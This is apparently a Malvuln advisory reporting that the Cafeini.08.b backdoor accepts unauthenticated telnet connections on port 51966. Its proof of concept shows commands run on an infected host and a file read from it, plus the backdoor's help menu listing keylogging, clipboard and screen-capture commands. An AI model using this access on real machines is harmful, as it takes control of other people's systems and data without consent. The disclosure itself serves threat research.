Backdoor.Win32.Cafeini.08.b Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Cafeini.08.b  
Vulnerability: Missing Authentication  
Description: The backdoor is written in Polish and listens on TCP port 51966, anyone who can reach the infected system can telnet in and execute any commands leading to malware compromise.  
Type: PE32  
MD5: 8225bb6b430d5cdf523c4d0cabbe5793  
Vuln ID: MVID-2021-0086  
Dropped files:   
Disclosure: 02/12/2021  
  
  
Exploit/PoC:  
1) Try execute calc.exe we get error in Polish.  
  
C:\Windows>EEXXEECC ccaalclc   
STATUS: nie moge uruchomic programu   
  
Translated from polish "I cannot run the program"  
  
But given the full path it works.   
  
C:\Windows>EEXXEECC cc::\\WWiindnodwowss\\syssytsetemm3322\\ccaallcc.e.exxee   
STATUS: program uruchomiony  
  
Translated "program running"   
  
2) Read files.  
  
C:\Users\victim\Desktop>ttyyppee \\WWiinndodwowss\\syssytsetemm..iinini   
; for 16-bit app support   
[386Enh]   
woafont=dosapp.fon   
EGA80WOA.FON=EGA80WOA.FON   
EGA40WOA.FON=EGA40WOA.FON   
CGA80WOA.FON=CGA80WOA.FON   
CGA40WOA.FON=CGA40WOA.FON   
[drivers]   
wave=mmdrv.dll   
timer=timer.drv   
  
3) See help menu.  
  
C:\>hehlelpp   
BYE lub LOGOUT lub QUIT lub EXIT - wyjscie   
DIE - zabij serwer (usun z pamieci)   
HELPCONF- opis komend sluzacych konfiguracji serwera: AUTOFTPD,AUTOKILL,   
AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT.   
HELPDOS - opis komend w rodzaju MS-DOS/Linux: CAT,CD,CHDIR,CMD,CMDV,COPY,   
DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR,   
MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER.   
HELPFUN - opis komend sluzacych zabawie: ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD,   
ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE,   
MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER,   
SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP.   
HELPKEY - opis komend sterujacych klawiatura: KEYBOARDBEEP,LOGGEDCLEAR,   
LOGGEDKEYS,SENDKEYS,SENDLINE   
HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP,   
AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE,   
CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL.   
HELPSCR - opis komend sluzacych zabawie z ekranem (desktop): BLACKWHITE,   
DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION,   
SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT,   
MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM.   
HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie od WIN):   
AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST,   
KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE,   
RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP.   
  
  
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